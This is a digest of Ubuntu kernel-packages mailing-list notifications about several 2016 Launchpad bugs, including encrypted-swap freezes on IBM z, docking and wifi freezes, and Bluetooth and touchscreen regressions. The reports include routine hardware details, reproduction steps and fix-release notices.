[Kernel-packages] [Bug 1647400] Re: system freeze when swapping to encrypted swap partition

[bugproxy]

** Tags removed: bugnameltc-149525 severity-critical

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1647400

Title:
  system freeze when swapping to encrypted swap partition

Status in Ubuntu on IBM z Systems:
  New
Status in linux package in Ubuntu:
  New

Bug description:
  == Comment: #0 - Bernd-Rainer Bresser  - 2016-12-05 
04:27:00 ==
  +++ This bug was initially created as a clone of Bug #147836 +++

  ---Problem Description---
  When the system is installed with encrypted swap partition the attempt to 
swap ends in a system freeze. No error, no dump, the system needs to be 
reloaded.
   
  Contact Information = Bernd-Rainer Bresser/Germany/IBM, Wen Yi AG 
Gao/China/IBM 
   
  ---uname output---
  Linux s38lp65 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:05:09 UTC 2016 
s390x s390x s390x GNU/Linux
   
  Machine Type = z13 LPAR 
   
  ---System Hang---
   System is frozen. No error, no dump, the system needs to be reloaded.
   
  ---Debugger---
  A debugger is not configured
   
  ---Steps to Reproduce---
   1. install a system with encrypted swap partition. This can be done using 
the installer or via manual updates to /etc/fstab and /etc/crypttab.

  2. Verify encrypted swap partition exists
   cryptsetup status kvmibm-swap
  /dev/mapper/kvmibm-swap is active and is in use.
type:PLAIN
cipher:  aes-xts-plain64:sha256
keysize: 256 bits
device:  /dev/dasda2
offset:  0 sectors
size:8388672 sectors
mode:read/write

  3. force swapping
  this can be done by a command like this (if the system has 8GB memory)
  dd if=/dev/zero of=/dev/null ibs=16k obs=8G count=2MB
   
  Stack trace output:
   no
   
  Oops output:
   no
   
  System Dump Location:
   
   
  *Additional Instructions for Bernd-Rainer Bresser/Germany/IBM, Wen Yi AG 
Gao/China/IBM: 
  -Attach sysctl -a output output to the bug.

  == Comment: #1 - Bernd-Rainer Bresser  - 2016-12-05 
04:33:24 ==
  - the problem was originally found on KVM for IBM z 1.1.3
  - test on Ubuntu 16.04.1 showed the same issue here
  - on KVM for IBM z 1.1.3 the problem could be solved/circumvented by reverting
 commit 564e81a57f9788b1475127012e0fd44e9049e342
Author: Tetsuo Handa 
Date:   Fri Feb 5 15:36:30 2016 -0800
  mm, vmstat: fix wrong WQ sleep when memory reclaim doesn't make 
any progress

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1647400/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1647400] Re: system freeze when swapping to encrypted swap partition

[Frank Heimes]

** Also affects: ubuntu-z-systems
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1647400

Title:
  system freeze when swapping to encrypted swap partition

Status in Ubuntu on IBM z Systems:
  New
Status in linux package in Ubuntu:
  New

Bug description:
  == Comment: #0 - Bernd-Rainer Bresser  - 2016-12-05 
04:27:00 ==
  +++ This bug was initially created as a clone of Bug #147836 +++

  ---Problem Description---
  When the system is installed with encrypted swap partition the attempt to 
swap ends in a system freeze. No error, no dump, the system needs to be 
reloaded.
   
  Contact Information = Bernd-Rainer Bresser/Germany/IBM, Wen Yi AG 
Gao/China/IBM 
   
  ---uname output---
  Linux s38lp65 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:05:09 UTC 2016 
s390x s390x s390x GNU/Linux
   
  Machine Type = z13 LPAR 
   
  ---System Hang---
   System is frozen. No error, no dump, the system needs to be reloaded.
   
  ---Debugger---
  A debugger is not configured
   
  ---Steps to Reproduce---
   1. install a system with encrypted swap partition. This can be done using 
the installer or via manual updates to /etc/fstab and /etc/crypttab.

  2. Verify encrypted swap partition exists
   cryptsetup status kvmibm-swap
  /dev/mapper/kvmibm-swap is active and is in use.
type:PLAIN
cipher:  aes-xts-plain64:sha256
keysize: 256 bits
device:  /dev/dasda2
offset:  0 sectors
size:8388672 sectors
mode:read/write

  3. force swapping
  this can be done by a command like this (if the system has 8GB memory)
  dd if=/dev/zero of=/dev/null ibs=16k obs=8G count=2MB
   
  Stack trace output:
   no
   
  Oops output:
   no
   
  System Dump Location:
   
   
  *Additional Instructions for Bernd-Rainer Bresser/Germany/IBM, Wen Yi AG 
Gao/China/IBM: 
  -Attach sysctl -a output output to the bug.

  == Comment: #1 - Bernd-Rainer Bresser  - 2016-12-05 
04:33:24 ==
  - the problem was originally found on KVM for IBM z 1.1.3
  - test on Ubuntu 16.04.1 showed the same issue here
  - on KVM for IBM z 1.1.3 the problem could be solved/circumvented by reverting
 commit 564e81a57f9788b1475127012e0fd44e9049e342
Author: Tetsuo Handa 
Date:   Fri Feb 5 15:36:30 2016 -0800
  mm, vmstat: fix wrong WQ sleep when memory reclaim doesn't make 
any progress

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1647400/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1583044] Re: attaching a docking station only work once, second time freezes

[Claudio Pacchierotti]

The same happens to me with an HP EliteBook and an HP UltraSlim docking
station (using kernel 4.4.0-53-generic on Ubuntu 16.04).

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1583044

Title:
  attaching a docking station only work once, second time freezes

Status in linux package in Ubuntu:
  Triaged
Status in linux source package in Xenial:
  Triaged

Bug description:
  I can reliably make Linux freeze.

  If I boot past the cryptsetup password dialog into GDM (I think),
  attach a docking station, unattach, then reattach, the system freezes.
  At least I cannot move the mouse cursor anymore, switch VTs, reboot,
  num lock doesn't toggle.

  I think it works well when *not* booting into GDM, but staying at the
  passphrase dialogue of the initramfs.

  I'm having a Thinkpad X240 with two external monitors.

  This is the standard ubuntu kernel, I haven't tested upstream kernels
  just yet. I'm intending to test with  linux-
  image-4.6.0-040600-generic_4.6.0-040600.201605151930_amd64.deb  from
  http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.6-yakkety/ now.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-22-generic 4.4.0-22.40
  ProcVersionSignature: Ubuntu 4.4.0-22.40-generic 4.4.8
  Uname: Linux 4.4.0-22-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  muelli 1991 F pulseaudio
   /dev/snd/controlC0:  muelli 1991 F pulseaudio
  CurrentDesktop: GNOME
  Date: Wed May 18 10:35:15 2016
  HibernationDevice: RESUME=UUID=af92c9d7-569e-41d4-86d2-af0ada5f9377
  InstallationDate: Installed on 2015-12-02 (167 days ago)
  InstallationMedia: Ubuntu-GNOME 16.04 LTS "Xenial Xerus" - Alpha amd64 
(20151027)
  MachineType: LENOVO 20AMS61707
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-22-generic 
root=/dev/mapper/lvm--vg-ubuntu--root ro rootflags=subvol=@ 
cryptopts=target=crypto,source=/dev/disk/by-uuid/4a1951b7-3604-4891-8ec6-3f5c9112d30d
 quiet splash vt.handoff=7
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-22-generic N/A
   linux-backports-modules-4.4.0-22-generic  N/A
   linux-firmware1.157
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 03/10/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: GIET85WW (2.35 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20AMS61707
  dmi.board.vendor: LENOVO
  dmi.board.version: Not Defined
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Not Available
  dmi.modalias: 
dmi:bvnLENOVO:bvrGIET85WW(2.35):bd03/10/2016:svnLENOVO:pn20AMS61707:pvrThinkPadX240:rvnLENOVO:rn20AMS61707:rvrNotDefined:cvnLENOVO:ct10:cvrNotAvailable:
  dmi.product.name: 20AMS61707
  dmi.product.version: ThinkPad X240
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1583044/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1630238] Re: [regression 4.8.0-14 -> 4.8.0-17] keyboard and touchscreen lost on Acer Chromebook R11

[Timo Jyrinki]

Thanks Joseph, seems to work fine! I'm now typing (and using touch) on
this machine:

$ uname -a
Linux c11 4.8.0-28-generic #30~lp1630238 SMP Mon Dec 5 20:16:48 UTC 2016 x86_64 
x86_64 x86_64 GNU/Linux

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1630238

Title:
  [regression 4.8.0-14 -> 4.8.0-17] keyboard and touchscreen lost on
  Acer Chromebook R11

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Yakkety:
  In Progress

Bug description:
  16.10 beta 2, as installed fresh, has working keyboard and touchscreen
  on my Acer Chromebook R11. However, after dist-upgrade they're lost,
  so touchscreen doesn't work and I need to use external keyboard.

  Looking at config diff, the likely culprit is:
  +CONFIG_PINCTRL_AMD=y
   CONFIG_PINCTRL_BAYTRAIL=y
  -CONFIG_PINCTRL_CHERRYVIEW=y
  -CONFIG_PINCTRL_INTEL=y
  -CONFIG_PINCTRL_BROXTON=y
  -CONFIG_PINCTRL_SUNRISEPOINT=y
  +CONFIG_PINCTRL_CHERRYVIEW=m
  +CONFIG_PINCTRL_INTEL=m
  +CONFIG_PINCTRL_BROXTON=m
  +CONFIG_PINCTRL_SUNRISEPOINT=m

  As indicated at https://github.com/GalliumOS/galliumos-
  distro/issues/270, " in the GalliumOS 4.7.2 kernel we needed to add
  CONFIG_PINCTRL_CHERRYVIEW=y (must be y, not m) in addition to
  CONFIG_TOUCHSCREEN_ELAN to get the touchscreen working on CYAN.".

  So, the change of Intel related PINCTRLs (specifically the CHERRYVIEW one) to 
m instead of y causes at least the touchscreen regression, and probably the 
keyboard one too.
  --- 
  ApportVersion: 2.20.3-0ubuntu7
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  timo   1922 F pulseaudio
  CurrentDesktop: Unity
  DistroRelease: Ubuntu 16.10
  InstallationDate: Installed on 2016-10-04 (0 days ago)
  InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Alpha amd64 (20160922)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 003: ID 8087:0a2a Intel Corp. 
   Bus 001 Device 002: ID 0bda:57cf Realtek Semiconductor Corp. 
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: GOOGLE Cyan
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-17-generic 
root=UUID=7f6c179e-9a4c-4837-869e-0ef2f04a3d61 ro quiet splash vt.handoff=7
  ProcVersionSignature: Ubuntu 4.8.0-17.19-generic 4.8.0-rc7
  RelatedPackageVersions:
   linux-restricted-modules-4.8.0-17-generic N/A
   linux-backports-modules-4.8.0-17-generic  N/A
   linux-firmware1.161
  Tags:  yakkety
  Uname: Linux 4.8.0-17-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 08/21/2016
  dmi.bios.vendor: coreboot
  dmi.chassis.type: 3
  dmi.chassis.vendor: GOOGLE
  dmi.modalias: 
dmi:bvncoreboot:bvr:bd08/21/2016:svnGOOGLE:pnCyan:pvr1.0:cvnGOOGLE:ct3:cvr:
  dmi.product.name: Cyan
  dmi.product.version: 1.0
  dmi.sys.vendor: GOOGLE

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1630238/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1647605] ProcModules.txt

[asgard2]

apport information

** Attachment added: "ProcModules.txt"
   
https://bugs.launchpad.net/bugs/1647605/+attachment/4788002/+files/ProcModules.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1647605

Title:
  constantly freezing on high wifi load

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  My device is constantly freezing on high wifi load.

  I tested multiple distros and linux kernels.
  Such as:
  - xubuntu 16.04
  - xubuntu 16.10 and the current mainline kernel
  - current ubuntu 17.04 daily build
  - manjaro 
  - fedora

  It seems to be a general problem with this hardware.
  Compared to windows 10, it's not freezing.

  Changing /proc/irq/42/smp_affinity to f also did not help.

  Device: HP Notebook – 15-ba029ng(X7F58EA)
  - RTL8723BE PCIe Wireless Network Adapter
  - AMD E2-7110
  Regards
  --- 
  ApportVersion: 2.20.3-0ubuntu8
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  xubuntu1901 F pulseaudio
   /dev/snd/controlC0:  xubuntu1901 F pulseaudio
  CasperVersion: 1.379
  CurrentDesktop: XFCE
  DistroRelease: Ubuntu 16.10
  LiveMediaBuild: Xubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2)
  MachineType: HP HP Notebook
  Package: linux (not installed)
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/casper/vmlinuz.efi 
file=/cdrom/preseed/username.seed boot=casper quiet splash ---
  ProcVersionSignature: Ubuntu 4.8.0-22.24-generic 4.8.0
  RelatedPackageVersions:
   linux-restricted-modules-4.8.0-22-generic N/A
   linux-backports-modules-4.8.0-22-generic  N/A
   linux-firmware1.161
  Tags:  yakkety
  Uname: Linux 4.8.0-22-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 09/02/2016
  dmi.bios.vendor: Insyde
  dmi.bios.version: F.17
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: 81F5
  dmi.board.vendor: HP
  dmi.board.version: 66.30
  dmi.chassis.asset.tag: Chassis Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: HP
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnInsyde:bvrF.17:bd09/02/2016:svnHP:pnHPNotebook:pvrType1ProductConfigId:rvnHP:rn81F5:rvr66.30:cvnHP:ct10:cvrChassisVersion:
  dmi.product.name: HP Notebook
  dmi.product.version: Type1ProductConfigId
  dmi.sys.vendor: HP

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1647605/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1597961] Re: Qualcomm Atheros Bluetooth 4.0 not working on Ubuntu 16.04

[Amjad Ali]

I am experiencing this issue as well, on Acer TravelMate P246-M. And
like Antonio, the hardware wireless switch (Fn + F3) doesn't work for me
either. I am using elementary OS 0.4 Loki, based on Ubuntu 16.04.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1597961

Title:
  Qualcomm Atheros Bluetooth 4.0 not working on Ubuntu 16.04

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  While using Windows with my Acer Aspire E5-573, I'm able to use the Bluetooth:
  03:00.0 Network controller [0280]: Qualcomm Atheros QCA9565 / AR9565 Wireless 
Network Adapter [168c:0036] (rev 01)
Subsystem: Lite-On Communications Inc QCA9565 / AR9565 Wireless Network 
Adapter [11ad:0803]

  I've installed Ubuntu 16.04 in dual boot. While using Ubuntu, the
  Bluetooth adapter is the only piece of hardware that does not work.

  $ dmesg | grep -i bluetooth
  [   20.905534] Bluetooth: Core ver 2.21
  [   20.905548] Bluetooth: HCI device and connection manager initialized
  [   20.905551] Bluetooth: HCI socket layer initialized
  [   20.905553] Bluetooth: L2CAP socket layer initialized
  [   20.905557] Bluetooth: SCO socket layer initialized
  [   21.477624] Bluetooth: Can't change to loading configuration err
  [   21.477654] Bluetooth: Loading patch file failed
  [  124.347977] Bluetooth: BNEP (Ethernet Emulation) ver 1.3
  [  124.347980] Bluetooth: BNEP filters: protocol multicast
  [  124.347985] Bluetooth: BNEP socket layer initialized

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-28-generic 4.4.0-28.47
  ProcVersionSignature: Ubuntu 4.4.0-28.47-generic 4.4.13
  Uname: Linux 4.4.0-28-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  vinicius   1913 F pulseaudio
   /dev/snd/controlC1:  vinicius   1913 F pulseaudio
  CurrentDesktop: Unity
  Date: Thu Jun 30 22:27:24 2016
  HibernationDevice: RESUME=UUID=8ab51bc9-dd7d-4e30-9c74-696b6bb851ef
  InstallationDate: Installed on 2016-06-23 (7 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  MachineType: Acer Aspire E5-573
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-28-generic.efi.signed 
root=UUID=216c2bbc-7194-46dc-929e-2a02be497343 ro quiet splash
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-28-generic N/A
   linux-backports-modules-4.4.0-28-generic  N/A
   linux-firmware1.157.1
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 02/16/2016
  dmi.bios.vendor: Insyde Corp.
  dmi.bios.version: V1.37
  dmi.board.asset.tag: Type2 - Board Asset Tag
  dmi.board.name: ZORO_BH
  dmi.board.vendor: Acer
  dmi.board.version: Type2 - A01 Board Version
  dmi.chassis.type: 10
  dmi.chassis.vendor: Chassis Manufacturer
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnInsydeCorp.:bvrV1.37:bd02/16/2016:svnAcer:pnAspireE5-573:pvrV3.72:rvnAcer:rnZORO_BH:rvrType2-A01BoardVersion:cvnChassisManufacturer:ct10:cvrChassisVersion:
  dmi.product.name: Aspire E5-573
  dmi.product.version: V3.72
  dmi.sys.vendor: Acer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1597961/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1647605] Missing required logs.

[Brad Figg]

This bug is missing log files that will aid in diagnosing the problem.
>From a terminal window please run:

apport-collect 1647605

and then change the status of the bug to 'Confirmed'.

If, due to the nature of the issue you have encountered, you are unable
to run this command, please add a comment stating that fact and change
the bug status to 'Confirmed'.

This change has been made by an automated script, maintained by the
Ubuntu Kernel Team.

** Changed in: linux (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1647605

Title:
  constantly freezing on high wifi load

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  My device is constantly freezing on high wifi load.

  I tested multiple distros and linux kernels.
  Such as:
  - xubuntu 16.04
  - xubuntu 16.10 and the current mainline kernel
  - current ubuntu 17.04 daily build
  - manjaro 
  - fedora

  It seems to be a general problem with this hardware.
  Compared to windows 10, it's not freezing.

  Changing /proc/irq/42/smp_affinity to f also did not help.

  Device: HP Notebook – 15-ba029ng(X7F58EA)
  - RTL8723BE PCIe Wireless Network Adapter
  - AMD E2-7110
  Regards

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1647605/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1518457] Re: kswapd0 100% CPU usage

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Invalid => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1518457

Title:
  kswapd0 100% CPU usage

Status in Skylinux:
  Unknown
Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  As per bug 721896 and various others:

  I'm on an AWS t2.micro instance (Xeon E5-2670, 991MiB of memory).
  Occasionally (about once a day), kswapd0 falls into a busy loop and
  spins on 100% CPU usage indefinitely. This can be provoked by
  copying/writing large files (e.g. dding a 256MB file), but it happens
  occasionally otherwise. System memory usage (not including
  buffers/caches) currently sits at 36%, which is typical[1]. Initially
  I had no swap space configured; I've since tried enabling a 256MB swap
  file, but the problem continues to occur and no swap space is used.
  The system can be recovered with `echo 1 > /proc/sys/vm/drop_caches`.

  Happy to provide further information/take further debugging actions.

  
  [1] Full output from `free`:
   total   used   free sharedbuffers cached
  Mem:   1014936 483448 531488  28556   9756 112700
  -/+ buffers/cache: 360992 653944
  Swap:   262140  0 262140

  ProblemType: Bug
  DistroRelease: Ubuntu 15.10
  Package: linux-image-4.2.0-18-generic 4.2.0-18.22
  ProcVersionSignature: Ubuntu 4.2.0-18.22-generic 4.2.3
  Uname: Linux 4.2.0-18-generic x86_64
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Nov 19 19:40 seq
   crw-rw 1 root audio 116, 33 Nov 19 19:40 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay'
  ApportVersion: 2.19.1-0ubuntu5
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  CRDA: N/A
  Date: Fri Nov 20 20:44:30 2015
  Ec2AMI: ami-1c552a76
  Ec2AMIManifest: (unknown)
  Ec2AvailabilityZone: us-east-1d
  Ec2InstanceType: t2.micro
  Ec2Kernel: unavailable
  Ec2Ramdisk: unavailable
  IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig'
  Lsusb: Error: command ['lsusb'] failed with exit code 1: unable to initialize 
libusb: -99
  MachineType: Xen HVM domU
  PciMultimedia:
   
  ProcEnviron:
   TERM=screen
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 xen
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.2.0-18-generic 
root=UUID=35bc01f4-4602-4823-976e-508edef899df ro console=tty1 console=ttyS0 
net.ifnames=0
  RelatedPackageVersions:
   linux-restricted-modules-4.2.0-18-generic N/A
   linux-backports-modules-4.2.0-18-generic  N/A
   linux-firmwareN/A
  RfKill: Error: [Errno 2] No such file or directory: 'rfkill'
  SourcePackage: linux
  UdevLog: Error: [Errno 2] No such file or directory: '/var/log/udev'
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/06/2015
  dmi.bios.vendor: Xen
  dmi.bios.version: 4.2.amazon
  dmi.chassis.type: 1
  dmi.chassis.vendor: Xen
  dmi.modalias: 
dmi:bvnXen:bvr4.2.amazon:bd05/06/2015:svnXen:pnHVMdomU:pvr4.2.amazon:cvnXen:ct1:cvr:
  dmi.product.name: HVM domU
  dmi.product.version: 4.2.amazon
  dmi.sys.vendor: Xen

To manage notifications about this bug go to:
https://bugs.launchpad.net/linux/+bug/1518457/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1557776] Re: CONFIG_AUFS_XATTR is not set

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1557776

Title:
  CONFIG_AUFS_XATTR is not set

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Wily:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  I am using ubuntu 15.10 with kernel linux-image-4.2.0-27-generic.
  The setting  CONFIG_AUFS_XATTR is not set.

  With the previous ubuntu version 15.04 and linux-
  image-3.19.0-42-generic this setting was compiled as
  CONFIG_AUFS_XATTR=y

  Without  CONFIG_AUFS_XATTR docker users using the AUFS driver can not
  work with capabilities.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1557776/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1535802] Re: Bluetooth 04ca:3011 [Asus Aspire V3-371] doesn't work

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: In Progress => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1535802

Title:
  Bluetooth 04ca:3011 [Asus Aspire V3-371] doesn't work

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  USB device 04ca:3011 is a combo Atheros device's bluetooth adapter.
  In back of laptop the adapter's label states as: PPD-QCNFA34AC

  WORKAROUND for kernel 4.4:

  wget 
https://launchpad.net/~hanipouspilot/+archive/ubuntu/bluetooth/+files/btusb-lp1535802-dkms_0.1_all.deb
  sudo dpkg -i btusb-lp1535802-dkms_0.1_all.deb

  By default my kernel recognize as generic Bluetooth,
  I can switch on/off, make it visible,
  BUT actually it cannot see anything and no other devices can see it.

  However
  It works well (tested) as "QCA ROME chipset" so adding a line:

  { USB_DEVICE(0x04ca, 0x3011), .driver_info = BTUSB_QCA_ROME },

  in btusb.c (compile, install as module, and modprobe) made the trick.

  lsusb:
  Bus 003 Device 004: ID 04ca:3011 Lite-On Technology Corp.

  I added the diff file of drivers/bluetooth/btusb.c

  ProblemType: Bug
  DistroRelease: Ubuntu 15.10
  Package: linux-image-4.2.0-23-generic 4.2.0-23.28
  ProcVersionSignature: Ubuntu 4.2.0-23.28-generic 4.2.6
  Uname: Linux 4.2.0-23-generic i686
  ApportVersion: 2.19.1-0ubuntu5
  Architecture: i386
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  mark   1476 F pulseaudio
   /dev/snd/controlC0:  mark   1476 F pulseaudio
  CurrentDesktop: Unity
  Date: Tue Jan 19 17:03:18 2016
  HibernationDevice: RESUME=UUID=66dc8cfd-62d6-411b-9edf-c509aac14318
  InstallationDate: Installed on 2015-10-26 (85 days ago)
  InstallationMedia: Ubuntu  "Wily" - Build i386 LIVE Binary 20151022-23:55
  MachineType: Acer Aspire V3-371
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.2.0-23-generic 
root=UUID=403e935b-5da2-4b34-8dd7-14f1c0cf0846 ro quiet splash
  RelatedPackageVersions:
   linux-restricted-modules-4.2.0-23-generic N/A
   linux-backports-modules-4.2.0-23-generic  N/A
   linux-firmware1.149.3
  SourcePackage: linux
  UdevLog: Error: [Errno 2] Nincs ilyen fájl vagy könyvtár: '/var/log/udev'
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 08/21/2015
  dmi.bios.vendor: Insyde Corp.
  dmi.bios.version: V1.28
